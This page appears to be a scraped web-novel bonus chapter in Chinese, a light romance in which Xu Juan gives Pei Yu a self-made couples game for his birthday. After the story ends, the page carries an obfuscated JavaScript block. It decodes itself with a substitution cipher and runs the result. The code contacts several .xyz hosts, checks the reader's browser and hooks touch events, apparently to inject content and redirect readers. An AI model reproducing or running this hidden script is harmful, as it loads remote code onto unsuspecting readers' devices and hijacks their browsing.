番外:生日礼物(2 / 2)

洪流 娜可露 2517 字 2022-08-31

徐涓守口如瓶,第二天早上也不告诉裴聿,匆匆亲了裴聿一口就去上班了,把裴聿气得麻木了,在微信上对他说:“我不好奇,也不期待。”

徐涓:“喔,那我不是白忙活了嘛。”

裴聿发了一个“不屑”的表情包,威胁道:“如果你现在直接告诉我,我能勉强惊喜一下,否则你不要送了。”

“……”

徐涓在办公室里笑出声:“晚上回家给你看,别急。你想吃什么?我今天早点下班,回去的时候顺便买点,对了,我已经定蛋糕了,你别买重了。”

“好吧,那你随便买,我没什么特别想吃的。”裴聿正在放寒假,但他没闲下来,区别只是把工作地点从学校转移到了自家书房。

徐涓让他休息,一年只有一天的生日,应该好好放松,别捣鼓那些乱七八糟的文献和论文了。

裴聿听没听徐涓不知道,他在公司待了大半天,下午提前下班,去取蛋糕,顺便给裴聿买吃的。

坦白说,为了给裴聿送一个意外又惊艳的生日礼物,徐涓绞尽脑汁想了好几个方案,他是此类方案的达人,他很明白,要惊喜无非两种,首选是猛砸钱,制造视觉震撼,比如多摆点花,在海边弄一片灯光,或者上高层露台餐厅吃晚餐,“顺便”把对面的大厦点亮,写上裴聿的名字,让全城都看见,裴老师过生日啦。

但这种俗套又烧钱的浪漫不适合他们了,以前不管怎么玩,都是徐涓自己的事,现在马上要结婚了,他和裴聿都变得越来越务实了,钱是他们自己的钱,两人一起过日子,铺张浪费不好,如果徐涓真的这么做了,裴聿肯定会不高兴。

徐涓也觉得这么做有点没意义,他想给裴聿惊喜,也要在这个礼物里投入自己的心意,这不是花钱就能得到的。

所以他选了第二种方式:亲手做礼物。

徐涓哼着歌,左手拎蛋糕,右手拎其他食物——他在附近饭店点的菜,一步三晃地上了楼。

裴聿等他一天了,从心急到没脾气,门一打开,刚放下的期待又悬了起来,偏偏徐涓热爱卖关子,故意吊他的胃口,一进门就说:“生日快乐亲爱的,咱们先吃饭吧,等会儿菜凉了。”

“……”

裴聿眼睛里的怨气几乎能化成实体,刀子般射向徐涓。

徐涓放下东西,把大衣脱了,身上的寒气还没散,冷飕飕地扑到他身上,用力抱住。裴聿的气顿时消了一半,板着脸道:“礼物呢?”

“在这里。”徐涓晃了晃自己的手机。

裴聿不解,徐涓便把他的手机也打开,乱捣弄一通,裴聿没看清他给自己安装了什么东西,没过多久,徐涓就把手机还给了他。

只见屏幕上多了一个陌生的app,图标是粉白色的,边框泛着金光,名字叫“恋爱清单”。

裴聿瞄了一眼徐涓,发现徐涓的手机屏幕上也有一个一模一样的app,徐涓叫他打开:“注册一下,输入用户名。”

“输入什么?”

“裴聿。”

“那你呢?”

“我当然是徐涓啦。”

“……”

裴聿很疑惑,出于对他的信任,按步骤做了。

这是一款游戏,功能很简单,ui设计也很简单,但看上去并不简陋,相反很萌。

主界面上有两个q版小人,左边一个右边一个。

裴聿发现,左边那个头上顶着“裴聿”两个字,右边那个叫“徐涓”,正是徐涓手里操控的。

“……这是什么?”

“我送你的游戏啊。”徐涓说,“我自己做的,你看,你可以点这里,进入剧情章节,从第一章打到通关,剧情就是我们以前的回忆,我设置了一些支线选项,但不论你怎么选,结局都是和我在一起,因为游戏里只有我们俩。”

裴聿:“……”

徐涓指着屏幕,又说:“这个是好感度系统,按月计算,每月的初始值是一百,月初会清空上个月的涨幅,恢复初始值,一百的好感度就可以解锁基础功能——”

裴聿打断他:“基础功能是什么?”

徐涓指了指屏幕上的自己:“可以和徐涓亲亲、抱抱,愉快地聊天。当然,我不在线的时候你不能聊天,但可以给我留言。”

“还有吗?”

“好感度分值可以涨也可以扣,涨得越高,解锁的功能越多,这游戏就两个玩家,我和你,你对我的好感值,是你自己给的,比如我今天做了一件让你特别高兴的事,你就点这个加号,想点多少都行,看你的心情。当数值加到一定高度,我可以向你提出要求,要求的发起会在游戏里记录,但你要在现实里满足我,如果我被满足了,我就打开游戏,点‘完成’,完成后我也会给你加好感值,你也可以要求我做事。”

“……”裴聿有点晕,“说了半天,这到底是一个什么游戏?我没懂……”

徐涓想了想,简单地解释:“其实是个记事本,从今天开始,它可以记录我们因为什么事开心,或者因为什么生气吵架了——如果你不高兴,可以点减号。”

“点了会发生什么?”裴聿的手指对准减号,轻轻点了一下,屏幕上突然跳出一个弹窗,弹窗要求他填入生气的理由,用作系统记录。

他随手写了一句“徐涓很爱卖关子,真烦”,好感值果然开始降了,他一边点一边观察q版裴聿的表情,数值降到80的时候,q版小裴聿嘴边的微笑消失了,降到50的时候,小裴聿忽然往屏幕右边走了两步,来到q版小徐涓的身边,怒目瞪着徐涓,突然打了徐涓一拳。

裴聿:“……”

徐涓本尊摸了摸鼻子:“哈哈,好玩吧?”

“幼稚。”裴聿模仿游戏里的动作,伸出拳头故意怼了怼他的脸,“好了,我懂了,我要天天揍你。”

徐涓撇撇嘴:“你揍我,我对你的好感值也会降,如果两边的好感值都特别低,我们在游戏里的婚姻关系会被解除——你想和我离婚吗?”

裴聿:“……”

花样可真多。

徐涓笑了笑,放下手机抱住他:“你喜欢吗?我研究了好久才做出这个,我保证,这款游戏不会停服,我会维护一辈子,等我们以后老了,可以把它当回忆录看。”

裴聿点了点头,矜持地说:“还行。”

徐涓不高兴了:“就还行啊?”

“很行,行了吧?”裴聿捧起他的脸,用力亲了一口。

徐涓道:“那你把好感值给我加回来。”

“好吧。”

裴聿重新打开游戏,点加号的时候,在弹出的文字窗口里写:“201x年2月4日,立春,我的生日,徐涓送给我的礼物是一个超级幼稚的游戏,但我很喜欢。”

然后按住加号不松手,直接把好感值加满了。

裴聿转过头,掩饰般藏起了微红的耳根,叫徐涓:“走吧,我们去切蛋糕,准备晚饭。”

“好!”

徐涓从沙发上跳起来,整个人挂到他脖子上,两人一起晃晃悠悠地进了厨房。

(番外·生日礼物完)

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();